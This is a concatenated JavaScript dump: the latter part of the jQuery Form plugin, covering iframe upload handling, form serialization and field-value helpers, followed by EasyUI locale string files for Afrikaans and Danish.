io.detachEvent ? io.detachEvent('onload', cb) : io.removeEventListener('load', cb, false); var status = 'success', errMsg; try { if (timedOut) { throw 'timeout'; } var isXml = s.dataType == 'xml' || doc.XMLDocument || $.isXMLDoc(doc); log('isXml='+isXml); if (!isXml && window.opera && (doc.body == null || doc.body.innerHTML == '')) { if (--domCheckCount) { // in some browsers (Opera) the iframe DOM is not always traversable when // the onload callback fires, so we loop a bit to accommodate log('requeing onLoad callback, DOM not available'); setTimeout(cb, 250); return; } // let this fall through because server response could be an empty document //log('Could not access iframe DOM after mutiple tries.'); //throw 'DOMException: not available'; } //log('response detected'); var docRoot = doc.body ? doc.body : doc.documentElement; xhr.responseText = docRoot ? docRoot.innerHTML : null; xhr.responseXML = doc.XMLDocument ? doc.XMLDocument : doc; if (isXml) s.dataType = 'xml'; xhr.getResponseHeader = function(header){ var headers = {'content-type': s.dataType}; return headers[header]; }; // support for XHR 'status' & 'statusText' emulation : if (docRoot) { xhr.status = Number( docRoot.getAttribute('status') ) || xhr.status; xhr.statusText = docRoot.getAttribute('statusText') || xhr.statusText; } var dt = s.dataType || ''; var scr = /(json|script|text)/.test(dt.toLowerCase()); if (scr || s.textarea) { // see if user embedded response in textarea var ta = doc.getElementsByTagName('textarea')[0]; if (ta) { xhr.responseText = ta.value; // support for XHR 'status' & 'statusText' emulation : xhr.status = Number( ta.getAttribute('status') ) || xhr.status; xhr.statusText = ta.getAttribute('statusText') || xhr.statusText; } else if (scr) { // account for browsers injecting pre around json response var pre = doc.getElementsByTagName('pre')[0]; var b = doc.getElementsByTagName('body')[0]; if (pre) { xhr.responseText = pre.textContent ? pre.textContent : pre.innerHTML; } else if (b) { xhr.responseText = b.innerHTML; } } } else if (s.dataType == 'xml' && !xhr.responseXML && xhr.responseText != null) { xhr.responseXML = toXml(xhr.responseText); } try { data = httpData(xhr, s.dataType, s); } catch (e) { status = 'parsererror'; xhr.error = errMsg = (e || status); } } catch (e) { log('error caught',e); status = 'error'; xhr.error = errMsg = (e || status); } if (xhr.aborted) { log('upload aborted'); status = null; } if (xhr.status) { // we've set xhr.status status = (xhr.status >= 200 && xhr.status < 300 || xhr.status === 304) ? 'success' : 'error'; } // ordering of these callbacks/triggers is odd, but that's how $.ajax does it if (status === 'success') { s.success && s.success.call(s.context, data, 'success', xhr); g && $.event.trigger("ajaxSuccess", [xhr, s]); } else if (status) { if (errMsg == undefined) errMsg = xhr.statusText; s.error && s.error.call(s.context, xhr, status, errMsg); g && $.event.trigger("ajaxError", [xhr, s, errMsg]); } g && $.event.trigger("ajaxComplete", [xhr, s]); if (g && ! --$.active) { $.event.trigger("ajaxStop"); } s.complete && s.complete.call(s.context, xhr, status); callbackProcessed = true; if (s.timeout) clearTimeout(timeoutHandle); // clean up setTimeout(function() { if (!s.iframeTarget) $io.remove(); xhr.responseXML = null; }, 100); } var toXml = $.parseXML || function(s, doc) { // use parseXML if available (jQuery 1.5+) if (window.ActiveXObject) { doc = new ActiveXObject('Microsoft.XMLDOM'); doc.async = 'false'; doc.loadXML(s); } else { doc = (new DOMParser()).parseFromString(s, 'text/xml'); } return (doc && doc.documentElement && doc.documentElement.nodeName != 'parsererror') ? doc : null; }; var parseJSON = $.parseJSON || function(s) { return window['eval']('(' + s + ')'); }; var httpData = function( xhr, type, s ) { // mostly lifted from jq1.4.4 var ct = xhr.getResponseHeader('content-type') || '', xml = type === 'xml' || !type && ct.indexOf('xml') >= 0, data = xml ? xhr.responseXML : xhr.responseText; if (xml && data.documentElement.nodeName === 'parsererror') { $.error && $.error('parsererror'); } if (s && s.dataFilter) { data = s.dataFilter(data, type); } if (typeof data === 'string') { if (type === 'json' || !type && ct.indexOf('json') >= 0) { data = parseJSON(data); } else if (type === "script" || !type && ct.indexOf("javascript") >= 0) { $.globalEval(data); } } return data; }; } }; /** * ajaxForm() provides a mechanism for fully automating form submission. * * The advantages of using this method instead of ajaxSubmit() are: * * 1: This method will include coordinates for <input type="image" /> elements (if the element * is used to submit the form). * 2. This method will include the submit element's name/value data (for the element that was * used to submit the form). * 3. This method binds the submit() method to the form for you. * * The options argument for ajaxForm works exactly as it does for ajaxSubmit. ajaxForm merely * passes the options argument along after properly binding events for submit elements and * the form itself. */ $.fn.ajaxForm = function(options) { // in jQuery 1.3+ we can fix mistakes with the ready state if (this.length === 0) { var o = { s: this.selector, c: this.context }; if (!$.isReady && o.s) { log('DOM not ready, queuing ajaxForm'); $(function() { $(o.s,o.c).ajaxForm(options); }); return this; } // is your DOM ready? http://docs.jquery.com/Tutorials:Introducing_$(document).ready() log('terminating; zero elements found by selector' + ($.isReady ? '' : ' (DOM not ready)')); return this; } return this.ajaxFormUnbind().bind('submit.form-plugin', function(e) { if (!e.isDefaultPrevented()) { // if event has been canceled, don't proceed e.preventDefault(); $(this).ajaxSubmit(options); } }).bind('click.form-plugin', function(e) { var target = e.target; var $el = $(target); if (!($el.is(":submit,input:image"))) { // is this a child element of the submit el? (ex: a span within a button) var t = $el.closest(':submit'); if (t.length == 0) { return; } target = t[0]; } var form = this; form.clk = target; if (target.type == 'image') { if (e.offsetX != undefined) { form.clk_x = e.offsetX; form.clk_y = e.offsetY; } else if (typeof $.fn.offset == 'function') { // try to use dimensions plugin var offset = $el.offset(); form.clk_x = e.pageX - offset.left; form.clk_y = e.pageY - offset.top; } else { form.clk_x = e.pageX - target.offsetLeft; form.clk_y = e.pageY - target.offsetTop; } } // clear form vars setTimeout(function() { form.clk = form.clk_x = form.clk_y = null; }, 100); }); }; // ajaxFormUnbind unbinds the event handlers that were bound by ajaxForm $.fn.ajaxFormUnbind = function() { return this.unbind('submit.form-plugin click.form-plugin'); }; /** * formToArray() gathers form element data into an array of objects that can * be passed to any of the following ajax functions: $.get, $.post, or load. * Each object in the array has both a 'name' and 'value' property. An example of * an array for a simple login form might be: * * [ { name: 'username', value: 'jresig' }, { name: 'password', value: 'secret' } ] * * It is this array that is passed to pre-submit callback functions provided to the * ajaxSubmit() and ajaxForm() methods. */ $.fn.formToArray = function(semantic) { var a = []; if (this.length === 0) { return a; } var form = this[0]; var els = semantic ? form.getElementsByTagName('*') : form.elements; if (!els) { return a; } var i,j,n,v,el,max,jmax; for(i=0, max=els.length; i < max; i++) { el = els[i]; n = el.name; if (!n) { continue; } if (semantic && form.clk && el.type == "image") { // handle image inputs on the fly when semantic == true if(!el.disabled && form.clk == el) { a.push({name: n, value: $(el).val()}); a.push({name: n+'.x', value: form.clk_x}, {name: n+'.y', value: form.clk_y}); } continue; } v = $.fieldValue(el, true); if (v && v.constructor == Array) { for(j=0, jmax=v.length; j < jmax; j++) { a.push({name: n, value: v[j]}); } } else if (v !== null && typeof v != 'undefined') { a.push({name: n, value: v}); } } if (!semantic && form.clk) { // input type=='image' are not found in elements array! handle it here var $input = $(form.clk), input = $input[0]; n = input.name; if (n && !input.disabled && input.type == 'image') { a.push({name: n, value: $input.val()}); a.push({name: n+'.x', value: form.clk_x}, {name: n+'.y', value: form.clk_y}); } } return a; }; /** * Serializes form data into a 'submittable' string. This method will return a string * in the format: name1=value1&amp;name2=value2 */ $.fn.formSerialize = function(semantic) { //hand off to jQuery.param for proper encoding return $.param(this.formToArray(semantic)); }; /** * Serializes all field elements in the jQuery object into a query string. * This method will return a string in the format: name1=value1&amp;name2=value2 */ $.fn.fieldSerialize = function(successful) { var a = []; this.each(function() { var n = this.name; if (!n) { return; } var v = $.fieldValue(this, successful); if (v && v.constructor == Array) { for (var i=0,max=v.length; i < max; i++) { a.push({name: n, value: v[i]}); } } else if (v !== null && typeof v != 'undefined') { a.push({name: this.name, value: v}); } }); //hand off to jQuery.param for proper encoding return $.param(a); }; /** * Returns the value(s) of the element in the matched set. For example, consider the following form: * * <form><fieldset> * <input name="A" type="text" /> * <input name="A" type="text" /> * <input name="B" type="checkbox" value="B1" /> * <input name="B" type="checkbox" value="B2"/> * <input name="C" type="radio" value="C1" /> * <input name="C" type="radio" value="C2" /> * </fieldset></form> * * var v = $(':text').fieldValue(); * // if no values are entered into the text inputs * v == ['',''] * // if values entered into the text inputs are 'foo' and 'bar' * v == ['foo','bar'] * * var v = $(':checkbox').fieldValue(); * // if neither checkbox is checked * v === undefined * // if both checkboxes are checked * v == ['B1', 'B2'] * * var v = $(':radio').fieldValue(); * // if neither radio is checked * v === undefined * // if first radio is checked * v == ['C1'] * * The successful argument controls whether or not the field element must be 'successful' * (per http://www.w3.org/TR/html4/interact/forms.html#successful-controls). * The default value of the successful argument is true. If this value is false the value(s) * for each element is returned. * * Note: This method *always* returns an array. If no valid value can be determined the * array will be empty, otherwise it will contain one or more values. */ $.fn.fieldValue = function(successful) { for (var val=[], i=0, max=this.length; i < max; i++) { var el = this[i]; var v = $.fieldValue(el, successful); if (v === null || typeof v == 'undefined' || (v.constructor == Array && !v.length)) { continue; } v.constructor == Array ? $.merge(val, v) : val.push(v); } return val; }; /** * Returns the value of the field element. */ $.fieldValue = function(el, successful) { var n = el.name, t = el.type, tag = el.tagName.toLowerCase(); if (successful === undefined) { successful = true; } if (successful && (!n || el.disabled || t == 'reset' || t == 'button' || (t == 'checkbox' || t == 'radio') && !el.checked || (t == 'submit' || t == 'image') && el.form && el.form.clk != el || tag == 'select' && el.selectedIndex == -1)) { return null; } if (tag == 'select') { var index = el.selectedIndex; if (index < 0) { return null; } var a = [], ops = el.options; var one = (t == 'select-one'); var max = (one ? index+1 : ops.length); for(var i=(one ? index : 0); i < max; i++) { var op = ops[i]; if (op.selected) { var v = op.value; if (!v) { // extra pain for IE... v = (op.attributes && op.attributes['value'] && !(op.attributes['value'].specified)) ? op.text : op.value; } if (one) { return v; } a.push(v); } } return a; } return $(el).val(); }; /** * Clears the form data. Takes the following actions on the form's input fields: * - input text fields will have their 'value' property set to the empty string * - select elements will have their 'selectedIndex' property set to -1 * - checkbox and radio inputs will have their 'checked' property set to false * - inputs of type submit, button, reset, and hidden will *not* be effected * - button elements will *not* be effected */ $.fn.clearForm = function() { return this.each(function() { $('input,select,textarea', this).clearFields(); }); }; /** * Clears the selected form elements. */ $.fn.clearFields = $.fn.clearInputs = function() { return this.each(function() { var t = this.type, tag = this.tagName.toLowerCase(); if (t == 'text' || t == 'password' || tag == 'textarea') { this.value = ''; } else if (t == 'checkbox' || t == 'radio') { this.checked = false; } else if (tag == 'select') { this.selectedIndex = -1; } }); }; /** * Resets the form data. Causes all form elements to be reset to their original value. */ $.fn.resetForm = function() { return this.each(function() { // guard against an input with the name of 'reset' // note that IE reports the reset function as an 'object' if (typeof this.reset == 'function' || (typeof this.reset == 'object' && !this.reset.nodeType)) { this.reset(); } }); }; /** * Enables or disables any matching elements. */ $.fn.enable = function(b) { if (b === undefined) { b = true; } return this.each(function() { this.disabled = !b; }); }; /** * Checks/unchecks any matching checkboxes or radio buttons and * selects/deselects and matching option elements. */ $.fn.selected = function(select) { if (select === undefined) { select = true; } return this.each(function() { var t = this.type; if (t == 'checkbox' || t == 'radio') { this.checked = select; } else if (this.tagName.toLowerCase() == 'option') { var $sel = $(this).parent('select'); if (select && $sel[0] && $sel[0].type == 'select-one') { // deselect all other options $sel.find('option').selected(false); } this.selected = select; } }); }; // helper fn for console logging function log() { var msg = '[jquery.form] ' + Array.prototype.join.call(arguments,''); if (window.console && window.console.log) { window.console.log(msg); } else if (window.opera && window.opera.postError) { window.opera.postError(msg); } }; })(jQuery);
JavaScript
if ($.fn.pagination){ $.fn.pagination.defaults.beforePageText = 'Bladsy'; $.fn.pagination.defaults.afterPageText = 'Van {pages}'; $.fn.pagination.defaults.displayMsg = 'Wys (from) tot (to) van (total) items'; } if ($.fn.datagrid){ $.fn.datagrid.defaults.loadMsg = 'Verwerking, wag asseblief ...'; } if ($.messager){ $.messager.defaults.ok = 'Ok'; $.messager.defaults.cancel = 'Die styl'; } if ($.fn.validatebox){ $.fn.validatebox.defaults.missingMessage = "Die veld is verpligtend."; $.fn.validatebox.defaults.rules.email.message = "Gee 'n geldige e-pos adres."; $.fn.validatebox.defaults.rules.url.message = "Gee 'n geldige URL nie."; $.fn.validatebox.defaults.rules.length.message = "Voer 'n waarde tussen {0} en {1}."; } if ($.fn.numberbox){ $.fn.numberbox.defaults.missingMessage = 'Die veld is verpligtend.'; } if ($.fn.combobox){ $.fn.combobox.defaults.missingMessage = 'Die veld is verpligtend.'; } if ($.fn.combotree){ $.fn.combotree.defaults.missingMessage = 'Die veld is verpligtend.'; } if ($.fn.calendar){ $.fn.calendar.defaults.weeks = ['S','M','T','W','T','F','S']; $.fn.calendar.defaults.months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']; } if ($.fn.datebox){ $.fn.datebox.defaults.currentText = 'Vandag'; $.fn.datebox.defaults.closeText = 'Sluit'; $.fn.datebox.defaults.missingMessage = 'Die veld is verpligtend.'; }
JavaScript
if ($.fn.pagination){ $.fn.pagination.defaults.beforePageText = 'Page'; $.fn.pagination.defaults.afterPageText = 'af {pages}'; $.fn.pagination.defaults.displayMsg = 'Viser {from} til {to} af {total} poster'; } if ($.fn.datagrid){ $.fn.datagrid.defaults.loadMsg = 'Behandling, vent venligst ...'; } if ($.messager){ $.messager.defaults.ok = 'Ok'; $.messager.defaults.cancel = 'Annuller'; } if ($.fn.validatebox){ $.fn.validatebox.defaults.missingMessage = 'Dette felt er påkrævet.'; $.fn.validatebox.defaults.rules.email.message = 'Angiv en gyldig e-mail-adresse.'; $.fn.validatebox.defaults.rules.url.message = 'Angiv en gyldig webadresse.'; $.fn.validatebox.defaults.rules.length.message = 'Angiv en værdi mellem {0} og {1}.'; } if ($.fn.numberbox){ $.fn.numberbox.defaults.missingMessage = 'Dette felt er påkrævet.'; } if ($.fn.combobox){ $.fn.combobox.defaults.missingMessage = 'Dette felt er påkrævet.'; } if ($.fn.combotree){ $.fn.combotree.defaults.missingMessage = 'Dette felt er påkrævet.'; } if ($.fn.calendar){ $.fn.calendar.defaults.weeks = ['S','M','T','W','T','F','S']; $.fn.calendar.defaults.months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']; } if ($.fn.datebox){ $.fn.datebox.defaults.currentText = 'I dag'; $.fn.datebox.defaults.closeText = 'Luk'; $.fn.datebox.defaults.missingMessage = 'Dette felt er påkrævet.'; }
JavaScript